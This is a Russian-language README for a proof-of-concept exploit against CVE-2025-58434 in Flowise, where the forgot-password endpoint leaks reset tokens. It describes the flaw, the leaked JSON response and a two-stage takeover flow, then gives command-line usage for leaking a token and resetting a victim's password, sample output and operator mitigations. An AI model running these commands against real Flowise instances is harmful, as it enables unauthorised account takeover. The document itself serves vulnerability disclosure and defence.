Эксплойт для проверки концепции для CVE-2025-58434, демонстрирующий несанкционированный захват учетных записей в Flowise через утекшие токены сброса пароля. Включает двухэтапную атаку: утечка токена и сброс пароля.
⚠️ Этот репозиторий предназначен только для образовательных целей и авторизованных исследований безопасности.
Несанкционированное использование против систем, которыми вы не владеете или не имеете явного разрешения на тестирование, незаконно.
Конечная точка forgot-password в Flowise (как в облачной, так и в локальной версии) возвращает действующий токен сброса пароля (tempToken) непосредственно в теле HTTP-ответа — без какой-либо проверки email или аутентификации.
Это означает, что злоумышленник, знающий (или способный угадать) адрес электронной почты жертвы, может:
forgot-password → получить tempToken в JSON-ответеtempToken для вызова reset-password → установить произвольный новый парольНикакого предварительного доступа, взаимодействия с пользователем или доступа к email не требуется.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Слабый механизм восстановления пароля |
| Тип | Обход аутентификации / Небезопасная прямая ссылка на объект |
| Затронутое приложение | Flowise (облачная + локальная версия) |
| Конечная точка 1 | POST /api/v1/account/forgot-password |
| Конечная точка 2 | POST /api/v1/account/reset-password |
Обработчик forgot-password возвращает всю запись пользователя — включая сгенерированный tempToken — непосредственно в ответе API вместо того, чтобы только отправить его на зарегистрированный адрес электронной почты пользователя.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Злоумышленник API Flowise
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (генерирует tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (пароль изменен!) │
│ │
✓ Захват учетной записи завершен
cloud.flowiseai.com) — подтверждено, что уязвимаПроверьте официальный GitHub Flowise для получения информации о выпущенном патче.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Основной скрипт PoC (двухэтапный ATO)
├── requirements.txt # Зависимости Python
├── README.md # Этот файл
└── DISCLAIMER.md # Правовое уведомление (прочитайте перед использованием)
requests# Клонировать репозиторий
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Установить зависимости
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Подтвердить, что экземпляр уязвим, и получить tempToken без сброса пароля.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Использовать утекший токен для немедленного сброса пароля.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| Флаг | Сокращение | Описание | Значение по умолчанию |
|---|---|---|---|
--url URL | -u | Базовый URL экземпляра Flowise | (обязательно) |
--email EMAIL | -e | Адрес электронной почты целевой учетной записи | (обязательно) |
--reset | -r | Выполнить Этап 2: сбросить пароль с помощью утекшего токена | False |
--new-password PASS | -p | Новый пароль для установки (используется с --reset) | Changeme@2025! |
--timeout SECONDS | -t | Тайм-аут HTTP-запроса | 10 |
--json-output | -j | Вывести сырой JSON-ответ API в stdout | False |
[Шаг 1] Отправка запроса forgot-password …
[*] HTTP Status : 201
========================================================================
УТЕКШИЕ ДАННЫЕ УЧЕТНОЙ ЗАПИСИ
========================================================================
ID пользователя : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Имя : Admin User
Email : [email protected]
Учетные данные : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Статус : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken получен : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] УЯЗВИМО: Экземпляр раскрывает токены сброса пароля без аутентификации!
Если вы оператор экземпляра Flowise, немедленно примените следующие меры:
forgot-password независимо от того, существует ли email — это также предотвращает перебор учетных записей.forgot-password.| Дата | Событие |
|---|---|
| 2025-08-19 | Уязвимость обнаружена и сообщена |
| TBD | Подтверждение от вендора |
| TBD | Выпущен патч |
| TBD | Публичное раскрытие |
Этот проект предназначен исключительно для образовательных целей и авторизованного тестирования на проникновение.